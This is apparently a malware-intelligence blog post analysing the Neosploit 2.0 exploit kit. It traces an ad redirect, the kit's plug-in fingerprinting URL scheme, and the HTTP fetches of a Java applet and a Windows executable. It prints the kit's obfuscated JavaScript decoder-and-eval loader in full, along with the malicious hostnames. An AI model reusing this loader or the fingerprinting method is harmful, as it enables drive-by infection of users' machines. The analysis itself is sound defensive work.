The Little Picture
I have a huge pile of notes on various types of malware and exploits. Meticulous details from where I look with my [metaphorical] microscope, but not a lot of big-picture stuff, because that usually takes much more time than just reading through a hexdump. So, I’m going to write a series of blog posts like these, looking at the little picture. Some of my explanations might be a little bit terse. I have a bad habit of going: “Here, look at this disassembly, isn’t it obvious what it’s doing”. But, teaching how to read this stuff is a lot of work. So, I hope you don’t find reading this to be too tedious if I’m short on explanations.
Some notes on Neosploit 2.0
The Attack Scheme
So, you’re browsing along, and you hit an advert like http://ad.yieldmanager.com/iframe3?7VxIANuGDAAF9EgAAAAAA[A long Base-64 string goes here…]e7f9 which directs you to a page like http://ndpwrgg.info/images/wait.html, which looks like this:
<html><head> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"> <title>Page is loading... please wait</title> </head><body bgcolor="white"> <iframe src="http://ockvfsqtbkm.com/mra/bery/" width=1 height=1></iframe> <br><br><center> <table border="0" cellspacing="10"> <tbody><tr><td>Page is loading... please wait</td><td></td> </tr><tr> <td><table bgcolor="gray" border="0" cellspacing="1"> <tbody><tr><td valign="center" width="320" align="center" bgcolor="white" height="320"> <img src="wait_files/loading.gif" border="0"></td></tr> </tbody></table></td></tr></tbody></table> <div id="q"></div> </center></body></html>
So, your browser says this. Pay close attention to the User-Agent strings.
GET /mra/bery/ HTTP/1.1 Host: ockvfsqtbkm.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://ndpwrgg.info/images/wait.html
http://ockvfsqtbkm.com/mra/bery/ 302 redirects to
http://ockvfsqtbkm.com/ber/bery.py which barfs out the following:
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 19 Apr 2010 21:41:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Pragma: no-cache 2b6d <html> <head> <script> function nerot(x__bR6tA2_c, VjY0ChgQ){if (!self.self.navigator["taintE" + "nabled"]()){var DH_1BOdu = nerot['a'+'rgum'+'ents']["c" + "azzee"['r'+'epl'+'ace'](/zz/, 'll')];DH_1BOdu = DH_1BOdu["t"+"oS"+"t"+"r"+"ing"]();var k42_wajRj___2i = 0;var trf_1fU_gb = "z";trf_1fU_gb = trf_1fU_gb + "d";var I7f0PD__6vaI8 = document["g"+"etE"+"lem"+"e"+"nt"+"ById"](trf_1fU_gb);if (I7f0PD__6vaI8) {if (!VjY0ChgQ) {VjY0ChgQ = I7f0PD__6vaI8.value;}}k42_wajRj___2i++;k42_wajRj___2i++;var firot = new Array();if (x__bR6tA2_c) { firot = x__bR6tA2_c;} else {var IDP0pgJ_m = 0;var k7c_cQ_tXGFTW = 0;var s6c4w_L7n__k67Q = 512;var K_va_x0J0Q_4b6e = 52;K_va_x0J0Q_4b6e = K_va_x0J0Q_4b6e - 4;var jis_0M = K_va_x0J0Q_4b6e + 9;while(k7c_cQ_tXGFTW < DH_1BOdu.length) {var dD_8j20b = 1;var RvqL6_5O_li8r = DH_1BOdu['c'+'h'+'arC'+'odeAt'](k7c_cQ_tXGFTW);if (RvqL6_5O_li8r <= jis_0M && RvqL6_5O_li8r >= K_va_x0J0Q_4b6e) {if (IDP0pgJ_m == 4) { IDP0pgJ_m = 0; }if (isNaN(firot[IDP0pgJ_m])) {firot[IDP0pgJ_m] = 0;}firot[IDP0pgJ_m] += RvqL6_5O_li8r;if (firot[IDP0pgJ_m] > 512) {firot[IDP0pgJ_m] -= s6c4w_L7n__k67Q;}IDP0pgJ_m++;}k7c_cQ_tXGFTW++;}}IDP0pgJ_m = 4;for (var M_U8drM = 0; M_U8drM < 4; M_U8drM++) {if (firot[M_U8drM] > 256) {firot[M_U8drM] -= 256;}}var yHh____ioiCe = 0;var MPTtB_JJ_k__3m = "";var vvF8g_K1_mm = 0;var yR2H3__U_m = 0;var Ek46_5P_8c1_h;var S13_nS1_66 = 0;while(vvF8g_K1_mm < VjY0ChgQ.length) {var y2vf8q_mQr = VjY0ChgQ.substr(vvF8g_K1_mm, 1) + "Z";var sO7S_YOJ_Y4_o0g = parseInt(y2vf8q_mQr, 16);if (yR2H3__U_m) {Ek46_5P_8c1_h += sO7S_YOJ_Y4_o0g;if (yHh____ioiCe == 4) {yHh____ioiCe -= 4;}var usCC803mN4pN2 = Ek46_5P_8c1_h;usCC803mN4pN2 = usCC803mN4pN2 - (S13_nS1_66 + 2) * firot[yHh____ioiCe];if (usCC803mN4pN2 < 0) {usCC803mN4pN2 = usCC803mN4pN2 - Math['floor'](usCC803mN4pN2 / 256) * 256;}usCC803mN4pN2 = String.fromCharCode(usCC803mN4pN2);if (k42_wajRj___2i == 2) {MPTtB_JJ_k__3m += usCC803mN4pN2;} else if (k42_wajRj___2i == 1) {MPTtB_JJ_k__3m += sO7S_YOJ_Y4_o0g;} else {MPTtB_JJ_k__3m += vvF8g_K1_mm;}yHh____ioiCe++;yR2H3__U_m = 0;S13_nS1_66++;} else {yR2H3__U_m = 1;Ek46_5P_8c1_h = sO7S_YOJ_Y4_o0g * 16;}vvF8g_K1_mm++;};var abcd=0; ;var TO4_y1b7p = this;TO4_y1b7p['ev'+'al'](MPTtB_JJ_k__3m);}} </script> </head> <body asddsad onload="window['nerot'] () ;" asd> <input class="civaf" type="hidden" id="aa" value="1"> <input class="civaf" type="hidden" id="zd" value="3E237281BB87437955[…8614 bytes of hex go here…]E9DA303683"> <input class="civaf" type="hidden" id="ab" value="1"> </body> </html> 0
This blob of hex decodes to a bunch of Javascript which checks for the installed versions of various plug-ins (Quicktime, Flash, Acrobat, etc.) and forms a new URL with which it fetches the next chunk of Javascript which launches an appropriate exploit. The new URL for this example would be http://ber/bery.py/jH85ad2e26V03009f35002R1d006976102Tce61e034Q00000049901801F002a000aJ02000601L656e2d55530000000000Ke496c0ad. But, I just noticed that the packet trace I’m reading through is missing packets at this point, so I’m not showing it here. (And finding another .pcap with this same code will take more time than I’m willing to spend looking for it right now.)
This exploit code, results in the following HTTP request. Notice how the User-Agent has changed.
GET /ber/bery.py/oH85ad2e26V03009f35002R1d006976102Tce61e035Q00000049901801F002a000aJ02000601l0409Ke496c0ad303 HTTP/1.1 accept-encoding: pack200-gzip, gzip content-type: application/x-java-archive User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02 Host: ockvfsqtbkm.com Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
Which is the download of a Java Applet file. (In hex here for presentation purposes.)
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 19 Apr 2010 21:41:42 GMT Content-Type: application/octet-stream Connection: close Pragma: no-cache Content-Length: 6386 000000b0 50 4b 03 04 14 00 08 00 08 00 a9 a3 98 3b 00 | PK...........;.| 000000c0 00 00 00 00 00 00 00 00 00 00 00 11 00 04 00 41 |...............A| 000000d0 70 70 6c 65 74 50 61 6e 65 6c 2e 63 6c 61 73 73 |ppletPanel.class| 000000e0 fe ca 00 00 bd 1a 5b 93 94 c5 f5 7c e1 32 cb ec |......[....|.2..|[...]
It's a .JAR file, that is, a .ZIP file with some Java .CLASS files, and sometimes metadata. See:
Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 13079 Defl:N 4107 69% 12-24-09 20:29 5a85c6aa AppletPanel.class 4774 Defl:N 2011 58% 12-24-09 20:29 c6631282 Main.class -------- ------- --- ------- 17853 6118 66% 2 files
More about this Java stuff later…
And then for some reason, at least in the trace I'm looking at, it fetches the same file again. [MD5:4f8d2d616b1324db5dfa60b54f8fcf1a by the way (poor A/V detection).]
GET /ber/bery.py/oH85ad2e26V03009f35002R1d006976102Tce61e035Q00000049901801F002a000aJ02000601l0409Ke496c0ad303 HTTP/1.1 accept-encoding: pack200-gzip,gzip User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02 Host: ockvfsqtbkm.com Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
And...
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 19 Apr 2010 21:41:43 GMT Content-Type: application/octet-stream Connection: close Pragma: no-cache Content-Length: 6386 PK[...]
And then it fetches a Windows EXE file.
GET /ber/bery.py/eH85ad2e26V03009f35002R1d006976102Tce61e035Q00000049901801F002a000al0409Ke496c0ad303J020006010 HTTP/1.1 User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02 Host: ockvfsqtbkm.com Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Cookie:
This EXE is 5bbb85d91199f5111c5bca441a941871.
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 19 Apr 2010 21:41:44 GMT Content-Type: application/octet-stream Connection: close Pragma: no-cache Content-Length: 103424 000000b0 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff | MZP..........| 000000c0 ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 |...........@....| 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000000f0 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd |...........!..L.| 00000100 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 |!..This program | 00000110 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e |cannot be run in| 00000120 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 | DOS mode....$..|
The URL Scheme
http://ockvfsqtbkm.com/ber/bery.pyhttp://ockvfsqtbkm.com/ber/bery.py/jH85ad2e26V03009f35002R1d006976102Tce61e034Q00000049901801F002a000aJ02000601L656e2d55530000000000Ke496c0adhttp://ockvfsqtbkm.com/ber/bery.py/oH85ad2e26V03009f35002R1d006976102Tce61e035Q00000049901801F002a000aJ02000601l0409Ke496c0ad303http://ockvfsqtbkm.com/ber/bery.py/eH85ad2e26V03009f35002R1d006976102Tce61e035Q00000049901801F002a000al0409Ke496c0ad303J020006010
The URIs are composed of several fields, usually four bytes in hex (that's eight hex characters) each prefixed with a (non-hex) letter. A few fields are three digit numerics, or two digits with a field prefix, depending on how you look at it. The first character [j,e,o] appears to be a type
for whatever document is to be returned.
| First Character | Assumed Meaning |
|---|---|
| j | Javascript code for launching exploit. |
| o | Objects (I guess), PDFs, and Java Applets. |
| e | Executables - Typically Mebroot… |
Splitting
up into fields, we get something like:http://ockvfsqtbkm.com/ber/bery.py/j
H85ad2e26
V03009f35
002
R1d006976
102
Tce61e034
Q00000049
901
801
F002a000a
J02000601
L656e2d55530000000000
Ke496c0ad
| URL Chunk | Meaning |
|---|---|
| Server Generated | |
http://ockvfsqtbkm.com/ber/bery.py/j |
(see above) |
H85ad2e26 |
Unknown; Server generates this, possibly based upon something Host or User-Agent related. |
V03009f35 |
And this |
002 |
And this |
R1d006976 |
And this |
102 |
And this too |
Tce61e034 |
I suspect that this is a timestamp of some kind, but I haven't figured it out yet. |
| Client Generated | |
Q00000049 |
The version of Quicktime Player which is installed. |
901 |
If the Windows Media Player is enabled. |
801 |
The version of Adobe Acrobat which is installed. |
F002a000a |
The version of Shockwave Flash which is installed. |
J02000601 |
The version of the Java Plug-In which is installed. |
L656e2d55530000000000 |
Browser (and typically OS) Language Code. Obviously this one says "en-US". |
Ke496c0ad |
The checksum/"encryption key" used to decode the obfuscated javascript. |
| Server Regenerated | |
l0409 |
The Windows Locale ID (LCID) equivalent for "en-US". |
Most of the hex version strings are generated by just taking all of the numbers in the version, concatenating them together like strings, and then converting that number to hex. So, "Foobar Plug-In 1.2.34", gets turned into "1234", which is 0x4D2, which would be written as 000004d2 in the URL. Or alternatively, each field of the version string is converted to hex individually, and each of those is string-concatinated together. So "Plug-In 1.2.3_04", becomes 0x01, 0x02, 0x03, 0x04, which becomes something like 04030201 in the URL.
A Random Sampling
Below are the fragments of a few Neosploit URLs collected from the wild. (Many different victims.)
The decimal version numbers are just squished together for Quicktime.
Field |
Quicktime Version |
|---|---|
Q00000000 |
Not installed. |
Q00000041 |
Version 6.5 |
Q00000047 |
Version 7.1 |
Q00000048 |
Version 7.2 |
Q0000004c |
Version 7.6 |
Q000001f6 |
Version 5.0.2 |
Q000002f3 |
Version 7.5.5 |
Q000002fa |
Version 7.6.2 |
Q000002fc |
Version 7.6.4 |
Q000002fd |
Version 7.6.5 |
Q00012855 |
(Uncertain about this.) Version 7.5.8.61 ? |
The Acrobat checking code is just looking for a certain number within the version string.
Field |
Adobe Acrobat Version |
|---|---|
800 |
Not Installed |
805 |
Version 5 |
806 |
Version 6 |
807 |
Version 7 |
801 |
All versions other than 5, 6, and 7 |
Windows Media Player; Seriously, the [de-obfuscated by hand] code looks like this:
var urlfield9 = '00'; try { if (navigator.mimeTypes["video/x-ms-wmv"].enabledPlugin) { urlfield9 = '01'; } } catch(e) { }
Field |
Windows Media Player Enabled? |
|---|---|
900 |
No |
901 |
Yes |
These two encode the versions in that other way.
Field |
Java Version |
|---|---|
J00000000 |
Not Installed |
J00000601 |
Java Plug-in 1.6.0 |
J03000601 |
Java Plug-in 1.6.0_03 |
J05010401 |
Java Plug-in 1.4.1_05 |
J06000501 |
Java Plug-in 1.5.0_06 |
J07000501 |
Java Plug-in 1.5.0_07 |
J07000601 |
Java Plug-in 1.6.0_07 |
J0a000501 |
Java Plug-in 1.5.0_10 |
J0a000601 |
Java Plug-in 1.6.0_10 |
J0b000601 |
Java Plug-in 1.6.0_11 |
J0c000601 |
Java Plug-in 1.6.0_12 |
J0d000601 |
Java Plug-in 1.6.0_13 |
J0e000601 |
Java Plug-in 1.6.0_14 |
J0f000601 |
Java Plug-in 1.6.0_15 |
J10000601 |
Java Plug-in 1.6.0_16 |
J11000601 |
Java Plug-in 1.6.0_17 |
J12000601 |
Java Plug-in 1.6.0_18 |
Field |
Flash Version |
|---|---|
F0002000a |
Shockwave Flash 10.0 r02 |
F000c000a |
Shockwave Flash 10.0 r12 |
F0016000a |
Shockwave Flash 10.0 r22 |
F0020000a |
Shockwave Flash 10.0 r32 |
F002a000a |
Shockwave Flash 10.0 r42 |
F002d000a |
Shockwave Flash 10.0 r45 |
F002f0009 |
Shockwave Flash 9.0 r47 |
The first Javascript stage hashes itself, using the arguments.callee() trick, and those four bytes are used to decode the second Javascript stage. For some reason, that hash is sent back to the server in the
field, for all further generated URLs.K
nerot, firot
Although Neosploit goes to great lengths in order to obfuscate itself; Replacing every Javascript variable name with a random string of characters; It neglects to replace the variable
and nerot
which are the names of the hashing/decoder function, and a string representing this function's own source code [the output of firotarguments.callee()].
If you think about it for a moment, the reason is obvious. nerot() uses itself as the key, and is called from within the encoded blob of Javascript… the hash of the code blob(s) change when any variable name is changed. So, it's a chicken-and-egg problem.
Code Walkthrough
I'm trying to keep this blog post short. Wait for Part 2.
Julia Wolf @ FireEye Malware Intelligence Lab
Questions/Comments to research [@] fireeye [.] com





